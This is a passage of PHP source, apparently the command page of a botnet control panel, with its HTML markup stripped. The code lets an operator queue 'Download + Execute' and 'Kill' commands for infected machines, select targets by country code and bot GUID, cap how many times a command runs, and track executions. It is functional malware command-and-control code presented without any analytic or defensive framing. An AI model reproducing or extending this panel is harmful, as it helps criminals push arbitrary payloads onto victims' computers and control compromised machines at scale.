prepare('DELETE FROM commands WHERE id = ?'); $query->bindValue(1, $_GET['delete'], PDO::PARAM_INT); $query->execute(); header('location: commands.php'); exit(); } if(isset($_GET['toggle'])) { action_sec_check(); $query = $db->prepare('UPDATE commands SET enabled = NOT enabled WHERE id = ?'); $query->bindValue(1, $_GET['toggle'], PDO::PARAM_INT); $query->execute(); header('location: commands.php'); exit(); } if(isset($_POST['type'])) { action_sec_check(); $query = $db->prepare('INSERT INTO commands (`type`, param, created, `limit`, countries, guids, execs, enabled) VALUES (?, ?, ?, ?, ?, ?, 0, 0)'); $query->bindValue(1, $_POST['type'], PDO::PARAM_INT); $query->bindValue(2, $_POST['param'], PDO::PARAM_STR); $query->bindValue(3, time(), PDO::PARAM_INT); $query->bindValue(4, (int) $_POST['limit'], PDO::PARAM_INT); $query->bindValue(5, $_POST['countries'], PDO::PARAM_STR); $query->bindValue(6, $_POST['guids'], PDO::PARAM_STR); $query->execute(); header('location: commands.php'); exit(); } function get_command_name($type) { global $CONST_COMMAND_DL_EXEC, $CONST_COMMAND_KILL; switch($type) { case $CONST_COMMAND_DL_EXEC: return 'Download + Execute'; case $CONST_COMMAND_KILL: return 'Kill'; default: return '?'; } } ?>
Add Command
Type:
Execution Limit:
Country Codes:
GUIDs:
Parameter:
prepare($sql); $stmt->execute(); if($stmt->rowCount() > 0) { ?>
Commands
fetchAll(); foreach($rows as $row) { $emptyHtml = ''; if($row['param'] == '') $param = $emptyHtml; else { $param = htmlspecialchars(substr($row['param'], 0, 30)); if(strlen($param) < strlen($row['param'])) $param = ''; } echo(''); } } ?>
Type Created Country Codes GUIDs Executed Parameter Options
'.get_command_name($row['type']).' '.($row['countries'] == '' ? $emptyHtml : htmlspecialchars($row['countries'])).' '.($row['guids'] == '' ? $emptyHtml : htmlspecialchars($row['guids'])).' '.$row['execs'].' / '.($row['limit'] == 0 ? '∞' : $row['limit']).' '.$param.' '.($row['enabled'] ? 'Disable' : 'Enable').' Delete